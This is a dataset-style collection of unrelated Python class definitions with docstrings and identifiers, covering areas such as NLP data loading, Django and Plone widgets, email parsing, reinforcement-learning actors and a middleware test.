>>> x["H2"] = SegmentList([Segment(5, 15)])
>>> x.intersection(["H1", "H2"])
[Segment(5, 10.0)]
>>> x.offsets["H1"] = 6
>>> x.intersection(["H1", "H2"])
[Segment(6.0, 15)]
>>> c = x.extract_common(["H1", "H2"])
>>> c.offsets.clear()
>>> c
{'H2': [Segment(6.0, 15)], 'H1': [Segment(0.0, 9.0)]} | 62598fda0fa83653e46f5483 |
class DataProcessor(object): <NEW_LINE> <INDENT> def get_train_examples(self, data_dir): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def get_dev_examples(self, data_dir): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def get_labels(self): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> @classmethod <NEW_LINE> def _read_data(cls, input_file): <NEW_LINE> <INDENT> with open(input_file, encoding='UTF-8') as f: <NEW_LINE> <INDENT> lines = [] <NEW_LINE> words = [] <NEW_LINE> labels = [] <NEW_LINE> for line in f: <NEW_LINE> <INDENT> contends = line.strip() <NEW_LINE> word = line.strip().split(' ')[0] <NEW_LINE> label = line.strip().split(' ')[-1] <NEW_LINE> if contends.startswith("-DOCSTART-"): <NEW_LINE> <INDENT> words.append('') <NEW_LINE> continue <NEW_LINE> <DEDENT> if len(contends) == 0: <NEW_LINE> <INDENT> l = ' '.join([label for label in labels if len(label) > 0]) <NEW_LINE> w = ' '.join([word for word in words if len(word) > 0]) <NEW_LINE> lines.append([l, w]) <NEW_LINE> words = [] <NEW_LINE> labels = [] <NEW_LINE> continue <NEW_LINE> <DEDENT> words.append(word) <NEW_LINE> labels.append(label) <NEW_LINE> <DEDENT> return lines | Base class for data converters for sequence classification data sets. | 62598fdaad47b63b2c5a7dee |
class HtmlField(TextField): <NEW_LINE> <INDENT> def formfield(self, **kwargs): <NEW_LINE> <INDENT> formfield = super(HtmlField, self).formfield(**kwargs) <NEW_LINE> formfield.widget.attrs["class"] = "mceEditor" <NEW_LINE> return formfield | TextField that stores HTML. | 62598fda9f28863672818b4b |
class Personality(object): <NEW_LINE> <INDENT> def __init__(self, person, model, generator = random_personality_generator, facet_generator = random_facets): <NEW_LINE> <INDENT> self.person = person <NEW_LINE> self.interests = generator(model) <NEW_LINE> self.facets = facet_generator(self, model) <NEW_LINE> self.model = model <NEW_LINE> self.post_probability = random.random() <NEW_LINE> self.repost_probability = random.random() * repost_probability_mutiplier <NEW_LINE> self.probability_read_reposts = random.random() <NEW_LINE> self.fame = random.random() * 100 <NEW_LINE> <DEDENT> def accept_repost(self): <NEW_LINE> <INDENT> if random.random() < self.probability_read_reposts: <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> <DEDENT> def process_post(self, message): <NEW_LINE> <INDENT> if self.person.online == True: <NEW_LINE> <INDENT> like_total = 0 <NEW_LINE> for topic in message.topics: <NEW_LINE> <INDENT> if topic in self.interests: <NEW_LINE> <INDENT> like_total += self.interests[topic] <NEW_LINE> <DEDENT> <DEDENT> like_total = self.facets.process_post(message, like_total, self.person) <NEW_LINE> self.model.logger.log(0, "%r had reaction of %d to %r" % (self.person, like_total, message)) <NEW_LINE> self.repost_decide(message) <NEW_LINE> return like_total <NEW_LINE> <DEDENT> return None <NEW_LINE> <DEDENT> def create_post(self): <NEW_LINE> <INDENT> if random.random() < self.post_probability: <NEW_LINE> <INDENT> keys = list(self.interests.keys()) <NEW_LINE> post_topic = [] <NEW_LINE> for x in range(random.randint(0, 4)): <NEW_LINE> <INDENT> post_topic.append(self.interests[keys[random.randint(0, len(keys)-1)]]) <NEW_LINE> <DEDENT> return Post.Post(self.person, post_topic) <NEW_LINE> <DEDENT> <DEDENT> def spam_to_world(self): <NEW_LINE> <INDENT> if self.fame + random.random() * 100 > 100: <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> <DEDENT> def repost_decide(self, message): <NEW_LINE> <INDENT> if random.random() < self.repost_probability: <NEW_LINE> <INDENT> self.person.dispatch_post(message) | Personality class that defines the behavior of a personality | 62598fda099cdd3c636756ac |
class Widget(AbstractWidget): <NEW_LINE> <INDENT> widget_type = 'sorting' <NEW_LINE> widget_label = _('Sorting') <NEW_LINE> groups = (DefaultSchemata, LayoutSchemata) <NEW_LINE> index = ViewPageTemplateFile('widget.pt') <NEW_LINE> @property <NEW_LINE> def default(self): <NEW_LINE> <INDENT> default = self.data.get('default', '') <NEW_LINE> if not default: <NEW_LINE> <INDENT> return () <NEW_LINE> <DEDENT> reverse = False <NEW_LINE> if '(reverse)' in default: <NEW_LINE> <INDENT> default = default.replace('(reverse)', '', 1) <NEW_LINE> reverse = True <NEW_LINE> <DEDENT> default = default.strip() <NEW_LINE> return (default, reverse) <NEW_LINE> <DEDENT> def query(self, form): <NEW_LINE> <INDENT> query = {} <NEW_LINE> if self.hidden: <NEW_LINE> <INDENT> default = self.default <NEW_LINE> sort_on = default[0] if default else None <NEW_LINE> reverse = default[1] if len(default) > 1 else False <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> sort_on = form.get(self.data.getId(), '') <NEW_LINE> reverse = form.get('reversed', False) <NEW_LINE> <DEDENT> if sort_on: <NEW_LINE> <INDENT> query['sort_on'] = sort_on <NEW_LINE> <DEDENT> if reverse: <NEW_LINE> <INDENT> query['sort_order'] = 'descending' <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> query['sort_order'] = 'ascending' <NEW_LINE> <DEDENT> return query <NEW_LINE> <DEDENT> def criteriaByIndexId(self, indexId): <NEW_LINE> <INDENT> catalog_tool = getToolByName(self.context, 'portal_catalog') <NEW_LINE> try: <NEW_LINE> <INDENT> indexObj = catalog_tool.Indexes[indexId] <NEW_LINE> <DEDENT> except KeyError: <NEW_LINE> <INDENT> return [] <NEW_LINE> <DEDENT> if indexObj.meta_type == "DateRecurringIndex": <NEW_LINE> <INDENT> return ('ATFriendlyDateCriteria', 'ATDateRangeCriterion', 'ATSortCriterion') <NEW_LINE> <DEDENT> results = _criterionRegistry.criteriaByIndex(indexObj.meta_type) <NEW_LINE> return results <NEW_LINE> <DEDENT> def validateAddCriterion(self, indexId, criteriaType): <NEW_LINE> <INDENT> if HAS_ATCT: <NEW_LINE> <INDENT> return criteriaType in self.criteriaByIndexId(indexId) <NEW_LINE> <DEDENT> return True <NEW_LINE> <DEDENT> def listSortFields(self): <NEW_LINE> <INDENT> registry = getUtility(IRegistry) <NEW_LINE> config = IQuerystringRegistryReader(registry)() <NEW_LINE> indexes = config.get('sortable_indexes', {}) <NEW_LINE> for name, index in indexes.items(): <NEW_LINE> <INDENT> title = index.get('title', name) <NEW_LINE> description = index.get('description', title) <NEW_LINE> yield (name, title, description) <NEW_LINE> <DEDENT> <DEDENT> def vocabulary(self, **kwargs): <NEW_LINE> <INDENT> vocab = self.portal_vocabulary() <NEW_LINE> sort_fields = [x for x in self.listSortFields()] <NEW_LINE> if not vocab: <NEW_LINE> <INDENT> return sort_fields <NEW_LINE> <DEDENT> vocab_fields = [(x[0].replace('term.', '', 1), x[1], '') for x in vocab] <NEW_LINE> sort_field_ids = [x[0] for x in sort_fields] <NEW_LINE> return [f for f in vocab_fields if f[0] in sort_field_ids] | Widget
| 62598fdaab23a570cc2d503c |
class TagsFilter(django_filters.filters.CharFilter): <NEW_LINE> <INDENT> def filter(self, qs, value): <NEW_LINE> <INDENT> if not value: <NEW_LINE> <INDENT> return qs <NEW_LINE> <DEDENT> tags = (tag.strip().capitalize() for tag in value.split(',')) <NEW_LINE> qs = qs.filter(tags__name__in=tags).distinct() <NEW_LINE> return qs | Create a special M2M filter for the tags field from taggit module | 62598fda9f28863672818b4c |
class MoveGenerator(object): <NEW_LINE> <INDENT> def __init__(self, group=None): <NEW_LINE> <INDENT> super(MoveGenerator, self).__init__() <NEW_LINE> self.set_group(group) <NEW_LINE> <DEDENT> def _codify__(self, *args, **kwargs): <NEW_LINE> <INDENT> raise Exception(LOGGER.impl("'%s' method must be overloaded"%inspect.stack()[0][3])) <NEW_LINE> <DEDENT> @property <NEW_LINE> def group(self): <NEW_LINE> <INDENT> return self.__group <NEW_LINE> <DEDENT> def set_group(self, group): <NEW_LINE> <INDENT> if group is not None: <NEW_LINE> <INDENT> from fullrmc.Core.Group import Group <NEW_LINE> assert isinstance(group, Group), LOGGER.error("group must be a fullrmc Group instance") <NEW_LINE> valid, message = self.check_group(group) <NEW_LINE> if not valid: <NEW_LINE> <INDENT> raise Exception( LOGGER.error("%s"%message) ) <NEW_LINE> <DEDENT> <DEDENT> self.__group = group <NEW_LINE> <DEDENT> def check_group(self, group): <NEW_LINE> <INDENT> raise Exception(LOGGER.impl("MovesGenerator '%s' method must be overloaded"%inspect.stack()[0][3])) <NEW_LINE> <DEDENT> def transform_coordinates(self, coordinates, argument=None): <NEW_LINE> <INDENT> raise Exception(LOGGER.impl("%s '%s' method must be overloaded"%(self.__class__.__name__,inspect.stack()[0][3]))) <NEW_LINE> <DEDENT> def move(self, coordinates): <NEW_LINE> <INDENT> return self.transform_coordinates(coordinates=coordinates) | It is the parent class of all moves generators.
This class can't be instantiated but its sub-classes might be.
:Parameters:
#. group (None, Group): The group instance. | 62598fdaad47b63b2c5a7df1 |
class _Options: <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> parser = argparse.ArgumentParser( description="Plays a game of Watch Your Back! between two " "Player classes") <NEW_LINE> parser.add_argument('white_module', help="full name of module containing White Player class") <NEW_LINE> parser.add_argument('black_module', help="full name of module containing Black Player class") <NEW_LINE> parser.add_argument('-d', '--delay', type=float, default=DELAY_DEFAULT, nargs="?", help="how long (float, seconds) to wait between turns") <NEW_LINE> args = parser.parse_args() <NEW_LINE> self.white_player = _load_player(args.white_module) <NEW_LINE> self.black_player = _load_player(args.black_module) <NEW_LINE> self.delay = args.delay if args.delay is not None else DELAY_NOVALUE | Parse and contain command-line arguments.
--- help message: ---
usage: referee.py [-h] [-d [DELAY]] white_module black_module
Plays a basic game of Watch Your Back! between two Player classes
positional arguments:
white_module full name of module containing White Player class
black_module full name of module containing Black Player class
optional arguments:
-h, --help show this help message and exit
-d [DELAY], --delay [DELAY]
how long (float, seconds) to wait between turns
--------------------- | 62598fda099cdd3c636756ae |
class VirtualNetworkListUsageResult(msrest.serialization.Model): <NEW_LINE> <INDENT> _validation = { 'value': {'readonly': True}, } <NEW_LINE> _attribute_map = { 'value': {'key': 'value', 'type': '[VirtualNetworkUsage]'}, 'next_link': {'key': 'nextLink', 'type': 'str'}, } <NEW_LINE> def __init__( self, **kwargs ): <NEW_LINE> <INDENT> super(VirtualNetworkListUsageResult, self).__init__(**kwargs) <NEW_LINE> self.value = None <NEW_LINE> self.next_link = kwargs.get('next_link', None) | Response for the virtual networks GetUsage API service call.
Variables are only populated by the server, and will be ignored when sending a request.
:ivar value: VirtualNetwork usage stats.
:vartype value: list[~azure.mgmt.network.v2020_07_01.models.VirtualNetworkUsage]
:param next_link: The URL to get the next set of results.
:type next_link: str | 62598fdaad47b63b2c5a7df3 |
class DataProcessor(DataGrabber): <NEW_LINE> <INDENT> def __init__(self, table,column,order): <NEW_LINE> <INDENT> matrix = DataGrabber(table,column,order) | classdocs | 62598fda099cdd3c636756af |
class WTLS(ExtensionOnlyType_): <NEW_LINE> <INDENT> c_tag = 'WTLS' <NEW_LINE> c_namespace = NAMESPACE <NEW_LINE> c_children = ExtensionOnlyType_.c_children.copy() <NEW_LINE> c_attributes = ExtensionOnlyType_.c_attributes.copy() <NEW_LINE> c_child_order = ExtensionOnlyType_.c_child_order[:] <NEW_LINE> c_cardinality = ExtensionOnlyType_.c_cardinality.copy() | The urn:oasis:names:tc:SAML:2.0:ac:classes:InternetProtocolPassword:WTLS element | 62598fda656771135c489c14 |
class MIMEMessage(MIMEPart): <NEW_LINE> <INDENT> uid = Header('message-id', id=True) <NEW_LINE> message_id = uid <NEW_LINE> content_id = Header('content-id', id=True) <NEW_LINE> content_disposition = Header('content-disposition', attr='content_disposition') <NEW_LINE> content_transfer_encoding = Header('content-transfer-encoding', attr='cte') <NEW_LINE> subject = Header('subject') <NEW_LINE> date = Header('date', attr='datetime') <NEW_LINE> def __init__(self, policy=None): <NEW_LINE> <INDENT> super(MIMEMessage, self).__init__(policy=policy) <NEW_LINE> self.policy.content_manager.add_get_handler('text', self.__class__._decode_text_content) <NEW_LINE> <DEDENT> def _decode_text_content(self, *args, **kwargs): <NEW_LINE> <INDENT> content = self.get_payload(decode=True) <NEW_LINE> charset = self.get_param('charset', 'ASCII') <NEW_LINE> return smart_decode(content, charset) <NEW_LINE> <DEDENT> def get_addresses(self, *headers): <NEW_LINE> <INDENT> addresses = tuple() <NEW_LINE> for header in headers: <NEW_LINE> <INDENT> value = self[header] <NEW_LINE> if value: <NEW_LINE> <INDENT> if isinstance(value, AddressHeader): <NEW_LINE> <INDENT> addresses += value.addresses <NEW_LINE> <DEDENT> elif isinstance(value, SingleAddressHeader): <NEW_LINE> <INDENT> addresses += (value.address,) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> addresses += (Address(addr_spec=value),) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> return tuple((address.addr_spec, address.display_name) for address in addresses) <NEW_LINE> <DEDENT> def get_envelope(self): <NEW_LINE> <INDENT> return { 'from': self.get_addresses('from')[0], 'to': self.get_addresses('to', 'delivered-to'), 'cc': self.get_addresses('cc', 'bcc') } <NEW_LINE> <DEDENT> def get_body_content(self, *preference): <NEW_LINE> <INDENT> if not preference: <NEW_LINE> <INDENT> preference = ('plain', 'html') <NEW_LINE> <DEDENT> body = self.get_body(preferencelist=preference) <NEW_LINE> if body: <NEW_LINE> <INDENT> return body.get_content() <NEW_LINE> <DEDENT> <DEDENT> def get_attachments(self): <NEW_LINE> <INDENT> for part in self.walk(): <NEW_LINE> <INDENT> for a in part.iter_attachments(): <NEW_LINE> <INDENT> yield a.as_attachment() <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def as_attachment(self): <NEW_LINE> <INDENT> content_id = self.content_id or self['x-attachment-id'] <NEW_LINE> content_type = self.get_content_type() <NEW_LINE> encoding = self.content_transfer_encoding <NEW_LINE> disposition = self.content_disposition <NEW_LINE> filename = self.get_filename() <NEW_LINE> return Attachment(content_id, content_type, encoding, disposition, filename, self.get_content()) | Example:
> message.message_id
> message.subject
> message.date
> message.get_envelope()
> message.get_body_content('html')
> message.get_attachments() | 62598fdaad47b63b2c5a7df6 |
class BicycleState(minisim.SerdeInterface): <NEW_LINE> <INDENT> def __init__(self, x, y, v, phi): <NEW_LINE> <INDENT> self.x = x <NEW_LINE> self.y = y <NEW_LINE> self.v = v <NEW_LINE> self.phi = phi <NEW_LINE> <DEDENT> def serialize(self) -> np.ndarray: <NEW_LINE> <INDENT> return np.array([self.x, self.y, self.v, self.phi]) <NEW_LINE> <DEDENT> @staticmethod <NEW_LINE> def deserialize(serialized: np.ndarray) -> "BicycleState": <NEW_LINE> <INDENT> return BicycleState(*serialized) | Class describing the states of a simple bicycle model.
Described in https://www.researchgate.net/publication/318810853
with an added state for the current steering angle (delta). | 62598fdaab23a570cc2d503f |
class MoveTimestamp(command.Command): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> super().__init__() <NEW_LINE> self._src_dir = None <NEW_LINE> self._dst_dir = None <NEW_LINE> self.datefmt = constants.FILE_DATE_FORMAT <NEW_LINE> <DEDENT> @property <NEW_LINE> def src_dir(self): <NEW_LINE> <INDENT> return self._src_dir <NEW_LINE> <DEDENT> @src_dir.setter <NEW_LINE> def src_dir(self, value): <NEW_LINE> <INDENT> self._src_dir = os.path.expanduser(value) <NEW_LINE> <DEDENT> @property <NEW_LINE> def dst_dir(self): <NEW_LINE> <INDENT> return self._dst_dir <NEW_LINE> <DEDENT> @dst_dir.setter <NEW_LINE> def dst_dir(self, value): <NEW_LINE> <INDENT> self._dst_dir = os.path.expanduser(value) <NEW_LINE> <DEDENT> def execute(self): <NEW_LINE> <INDENT> if not os.access(self.src_dir, os.R_OK): <NEW_LINE> <INDENT> raise PermissionError('No read access to: {}'.format(self.src_dir)) <NEW_LINE> <DEDENT> if not os.access(self.dst_dir, os.W_OK): <NEW_LINE> <INDENT> raise PermissionError('No write access to: {}'.format(self.dst_dir)) <NEW_LINE> <DEDENT> try: <NEW_LINE> <INDENT> date_str = datetime.now().strftime(self.datefmt) <NEW_LINE> <DEDENT> except Exception: <NEW_LINE> <INDENT> logger.exception('Could not create date string for %s! Using default format %s', self.datefmt, constants.FILE_DATE_FORMAT) <NEW_LINE> date_str = datetime.now().strftime(constants.FILE_DATE_FORMAT) <NEW_LINE> <DEDENT> files = [] <NEW_LINE> for entry in os.listdir(self.src_dir): <NEW_LINE> <INDENT> file = os.path.join(self.src_dir, entry) <NEW_LINE> if os.path.isfile(file): <NEW_LINE> <INDENT> files.append(file) <NEW_LINE> <DEDENT> <DEDENT> errors = 0 <NEW_LINE> for file_in in files: <NEW_LINE> <INDENT> fname = os.path.basename(file_in) <NEW_LINE> file_out = os.path.join(self.dst_dir, date_str + constants.DATE_PREFIX_SEPARATOR + fname) <NEW_LINE> try: <NEW_LINE> <INDENT> shutil.move(file_in, file_out) <NEW_LINE> <DEDENT> except Exception: <NEW_LINE> <INDENT> logger.exception('Could not move file: %s', file_in) <NEW_LINE> errors += 1 <NEW_LINE> <DEDENT> <DEDENT> if errors > 0: <NEW_LINE> <INDENT> raise RuntimeError('Could not move {} files.'.format(errors)) | Moves/renames all files in a folder to a destination by adding a timestamp prefix. | 62598fdbc4546d3d9def7555 |
class FileStream(object): <NEW_LINE> <INDENT> def close(self): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def write(self, data): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def read(self, size=-1): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def seek(self, pos, from_beginning=False): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def pos(self): <NEW_LINE> <INDENT> raise NotImplementedError() <NEW_LINE> <DEDENT> def next(self): <NEW_LINE> <INDENT> raise NotImplementedError() | File stream object stored in a FileStorage.
| 62598fdb26238365f5fad108 |
class StatLine(pygame.sprite.Sprite): <NEW_LINE> <INDENT> def __init__(self, y: int, text: str): <NEW_LINE> <INDENT> super().__init__() <NEW_LINE> self.floor_font = COMIC_SANS <NEW_LINE> self.image = self.floor_font.render(text, True, BLACK) <NEW_LINE> self.rect = self.image.get_rect() <NEW_LINE> self.rect.top = y <NEW_LINE> self.rect.left = 5 | Text Sprite for displaying some text.
| 62598fdbadb09d7d5dc0ab1d |
class Actor(BaseActor): <NEW_LINE> <INDENT> def __init__( self, actor_id, shell_class, shell_config, env_class, env_configs, traj_length, seed, system_loggers, batch_size=1, n_unrolls=None, use_parallel_envs=False, use_threaded_envs=False, discount_factor=None, **sess_config): <NEW_LINE> <INDENT> raise Exception('Deprecated!!') <NEW_LINE> assert isinstance(actor_id, int) <NEW_LINE> self.config = ConfigDict(sess_config) <NEW_LINE> self.batch_size = batch_size <NEW_LINE> self._traj_length = traj_length <NEW_LINE> self._system_loggers = system_loggers <NEW_LINE> if use_parallel_envs: <NEW_LINE> <INDENT> self._env = ParallelBatchedEnv(batch_size, env_class, env_configs, seed, use_threads=use_threaded_envs) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self._env = SerialBatchedEnv(batch_size, env_class, env_configs, seed) <NEW_LINE> <DEDENT> self._action_spec = self._env.action_spec() <NEW_LINE> self._obs_spec = self._env.observation_spec() <NEW_LINE> self._shell = shell_class( action_spec=self._action_spec, obs_spec=self._obs_spec, seed=seed, batch_size=batch_size, **shell_config, ) <NEW_LINE> self._traj = FullEpisodeTrajectory(obs_spec=self._obs_spec, step_output_spec=self._shell.step_output_spec(), batch_size=batch_size, discount_factor=discount_factor, traj_length=traj_length) <NEW_LINE> if actor_id == 0: <NEW_LINE> <INDENT> self._start_spec_server() <NEW_LINE> <DEDENT> self._setup_exp_sender() <NEW_LINE> self.run_loop(n_unrolls) <NEW_LINE> <DEDENT> def run_loop(self, n_unrolls): <NEW_LINE> <INDENT> ts = self._env.reset() <NEW_LINE> self._traj.reset() <NEW_LINE> self._traj.start(next_state=self._shell.next_state, **dict(ts._asdict())) <NEW_LINE> i = 0 <NEW_LINE> system_logs = {} <NEW_LINE> while True: <NEW_LINE> <INDENT> if n_unrolls is not None: <NEW_LINE> <INDENT> if i == n_unrolls: <NEW_LINE> <INDENT> return <NEW_LINE> <DEDENT> <DEDENT> with U.Timer() as shell_step_timer: <NEW_LINE> <INDENT> step_output = self._shell.step(step_type=ts.step_type, reward=ts.reward, observation=ts.observation) <NEW_LINE> <DEDENT> with U.Timer() as env_step_timer: <NEW_LINE> <INDENT> ts = self._env.step(step_output.action) <NEW_LINE> <DEDENT> self._traj.add(step_output=step_output, **dict(ts._asdict())) <NEW_LINE> if i > 0 and i % self._traj_length == 0: <NEW_LINE> <INDENT> with U.Timer() as send_experience_timer: <NEW_LINE> <INDENT> exps = self._traj.debatch_and_stack() <NEW_LINE> self._send_experiences(exps) <NEW_LINE> <DEDENT> system_logs['send_experience_sec'] = send_experience_timer.to_seconds() <NEW_LINE> <DEDENT> for logger in self._system_loggers: <NEW_LINE> <INDENT> logger.write( dict(shell_step_time_sec=shell_step_timer.to_seconds(), env_step_time_sec=env_step_timer.to_seconds(), **system_logs)) <NEW_LINE> <DEDENT> i += 1 | Actor is responsible for the following.
(1) Create a shell and batched environments.
(2) Pushes experience out to exp_sender. | 62598fdbad47b63b2c5a7dfa |
class TestProxyHeadersMiddleware(base.BaseApiTest): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> CONF.set_override('public_endpoint', 'http://spam.ham/eggs', group='api') <NEW_LINE> self.proxy_headers = {"X-Forwarded-Proto": "https", "X-Forwarded-Host": "mycloud.com", "X-Forwarded-Prefix": "/ironic"} <NEW_LINE> super(TestProxyHeadersMiddleware, self).setUp() <NEW_LINE> <DEDENT> def test_proxy_headers_enabled(self): <NEW_LINE> <INDENT> CONF.set_override('enable_proxy_headers_parsing', True, group='oslo_middleware') <NEW_LINE> self.app = self._make_app() <NEW_LINE> response = self.get_json('/', path_prefix="", headers=self.proxy_headers) <NEW_LINE> href = response["default_version"]["links"][0]["href"] <NEW_LINE> self.assertTrue(href.startswith("https://mycloud.com/ironic")) <NEW_LINE> <DEDENT> def test_proxy_headers_disabled(self): <NEW_LINE> <INDENT> response = self.get_json('/', path_prefix="", headers=self.proxy_headers) <NEW_LINE> href = response["default_version"]["links"][0]["href"] <NEW_LINE> self.assertTrue(href.startswith("http://spam.ham/eggs")) | Provide a basic smoke test to ensure proxy headers middleware works. | 62598fdb50812a4eaa620eb6 |
class Summary(): <NEW_LINE> <INDENT> def __init__(self, dict_keys_input_list): <NEW_LINE> <INDENT> self.total_files_checked = 1 <NEW_LINE> self.total_files_missing = 0 <NEW_LINE> self.main_product_files_checked = 1 <NEW_LINE> self.main_product_files_missing = 0 <NEW_LINE> self.missing_primary_input_error = 0 <NEW_LINE> self.algorithm_errors = 0 <NEW_LINE> self.upstream_input_error = 0 <NEW_LINE> self.main_product_error = 0 <NEW_LINE> self.product_errors = self.create_product_dict(dict_keys_input_list) <NEW_LINE> self.start_time = '' <NEW_LINE> self.end_time = '' <NEW_LINE> self.execution_time = 0 <NEW_LINE> <DEDENT> def create_product_dict(self, dict_keys): <NEW_LINE> <INDENT> new_dict = {} <NEW_LINE> for keys in dict_keys: <NEW_LINE> <INDENT> new_dict[keys] = 0 <NEW_LINE> <DEDENT> return new_dict <NEW_LINE> <DEDENT> def set_all_error_totals(self, primary_input_name_1, primary_input_name_2, main_product_name): <NEW_LINE> <INDENT> self.missing_primary_input_error = self.product_errors[primary_input_name_1] <NEW_LINE> for key in self.product_errors: <NEW_LINE> <INDENT> if((key != primary_input_name_1) & (key != primary_input_name_2) & (key != main_product_name)): <NEW_LINE> <INDENT> self.upstream_input_error += self.product_errors[key] <NEW_LINE> <DEDENT> <DEDENT> self.main_product_error = self.product_errors[main_product_name] <NEW_LINE> self.algorithm_errors = self.upstream_input_error + self.main_product_error | Contains all the info that will be used by the summary at the end of the
main
total_files_checked - all files checked in the recursive funtion
total_files_missing - number of files missing in the entire search
main_product_files_checked - number of files checked of the initial
product checked
main_product_files_missing - files missing from initial product checked
missing_prikmary_input_error - all instances of the primary input error
algorithm error - all instances of algorithm error
upstream_input-error - all instances of when primary input exists, but
other input files are missing necessary to make
the inital product
main_product_error - all instances of algorithm error only on initial
product
product_errors - dict of product errors
- where keys are the product
- and the value is the number of errors
start_time - start time of the program
end_time - time when the program finishes | 62598fdbad47b63b2c5a7dfc |
class WebcamBuilder(object): <NEW_LINE> <INDENT> def buildWebcam(camConfig, debug=False): <NEW_LINE> <INDENT> camType = type(camConfig.name) <NEW_LINE> camType.debug = debug <NEW_LINE> cfgParser = configparser.RawConfigParser() <NEW_LINE> cfgParser.read(camConfig) <NEW_LINE> if (cfgParser.getboolean("methods", "pan_relative")): <NEW_LINE> <INDENT> camType.panLeftRelative = webcam.panLeftRelative <NEW_LINE> camType.panRightRelative = webcam.panRightRelative <NEW_LINE> <DEDENT> if (cfgParser.getboolean("methdos", "tilt_relative")): <NEW_LINE> <INDENT> camType.tiltDownRelative = webcam.tiltDownRelative <NEW_LINE> camType.tiltUpRelative = webcam.tiltUpRelative <NEW_LINE> <DEDENT> if (cfgParser.getboolean("methods", "led1_mode")): <NEW_LINE> <INDENT> camType.ledMode = webcam.ledMode <NEW_LINE> <DEDENT> if (cfgParser.getboolean("methods", "pan_reset")): <NEW_LINE> <INDENT> camType.panReset = webcam.panReset <NEW_LINE> <DEDENT> if (cfgParser.getboolean("methods", "tilt_reset")): <NEW_LINE> <INDENT> camType.tiltReset = webcam.tiltReset <NEW_LINE> <DEDENT> return camType() | A factory/builder that can construct a new Class/Type dynamically
that includes the appropriate methods for the camera type defined
by a WebcamConfig. | 62598fdbfbf16365ca794669 |
class Method: <NEW_LINE> <INDENT> required_attrs = () <NEW_LINE> def __init__(self, data, progress=None, loglevel=logging.INFO, logname="Log"): <NEW_LINE> <INDENT> self.data = data <NEW_LINE> self.progress = progress <NEW_LINE> self.loglevel = loglevel <NEW_LINE> self.logname = logname <NEW_LINE> self._check_required_attributes() <NEW_LINE> self.logger = logging.getLogger('%s %s' % (self.logname, self.data)) <NEW_LINE> self.logger.setLevel(self.loglevel) <NEW_LINE> self.logformat = "[%(name)s %(levelname)s] %(message)s" <NEW_LINE> handler = logging.StreamHandler(sys.stdout) <NEW_LINE> handler.setFormatter(logging.Formatter(self.logformat)) <NEW_LINE> self.logger.addHandler(handler) <NEW_LINE> <DEDENT> def _check_required_attributes(self): <NEW_LINE> <INDENT> missing = [x for x in self.required_attrs if not hasattr(self.data, x)] <NEW_LINE> if missing: <NEW_LINE> <INDENT> missing = ' '.join(missing) <NEW_LINE> raise MissingAttributeError( 'Could not parse required attributes to use method: ' + missing) | Abstract base class for all cclib method classes.
All the modules containing methods should be importable. | 62598fdbc4546d3d9def7558 |
class ImageAPIView(CreateAPIView): <NEW_LINE> <INDENT> queryset = ArticleImage.objects.all() <NEW_LINE> serializer_class = ArticleImageModelSerializer | 图片上传功能 | 62598fdb3617ad0b5ee066f2 |
@dataclass <NEW_LINE> class CommentThreadReplies(BaseModel): <NEW_LINE> <INDENT> comments: Optional[List[Comment]] = field(default=None, repr=False) | A class representing comment tread replies info.
Refer: https://developers.google.com/youtube/v3/docs/commentThreads#replies | 62598fdbfbf16365ca79466b |
class rbrock: <NEW_LINE> <INDENT> @classmethod <NEW_LINE> def evaluate(cls, x): <NEW_LINE> <INDENT> assert(len(x)==2) <NEW_LINE> value = (100*(x[1] - x[0]**2)**2 + (1 - x[0])**2) <NEW_LINE> return(value) <NEW_LINE> <DEDENT> dimension = 2 <NEW_LINE> var_lower = np.array([-10, -10]) <NEW_LINE> var_upper = np.array([5, 10]) <NEW_LINE> optimum_point = np.array([1.0, 1.0]) <NEW_LINE> optimum_value = 0.0 <NEW_LINE> var_type = np.array(['R'] * 2) | rbrock function of the GlobalLib test set. | 62598fdb091ae356687051c8 |
class MissingDimensionsTest(TestCase): <NEW_LINE> <INDENT> def test_get_dimensions(self): <NEW_LINE> <INDENT> m = MediathreadFileFactory() <NEW_LINE> TahoeFileFactory(video=m.video) <NEW_LINE> CUITFLVFileFactory(video=m.video) <NEW_LINE> DimensionlessSourceFileFactory(video=m.video) <NEW_LINE> assert m.video.get_dimensions() == (0, 0) | test the behavior for a video that has a source file, but
that we couldn't parse the dimensions out of for some reason | 62598fdb656771135c489c1e |
class PropertyIsGreaterThan(BinaryComparisonOpType): <NEW_LINE> <INDENT> def __init__(self, propertyname, literal, matchcase=True): <NEW_LINE> <INDENT> BinaryComparisonOpType.__init__(self, 'fes:PropertyIsGreaterThan', propertyname, literal, matchcase) | PropertyIsGreaterThan class | 62598fdb283ffb24f3cf3e30 |
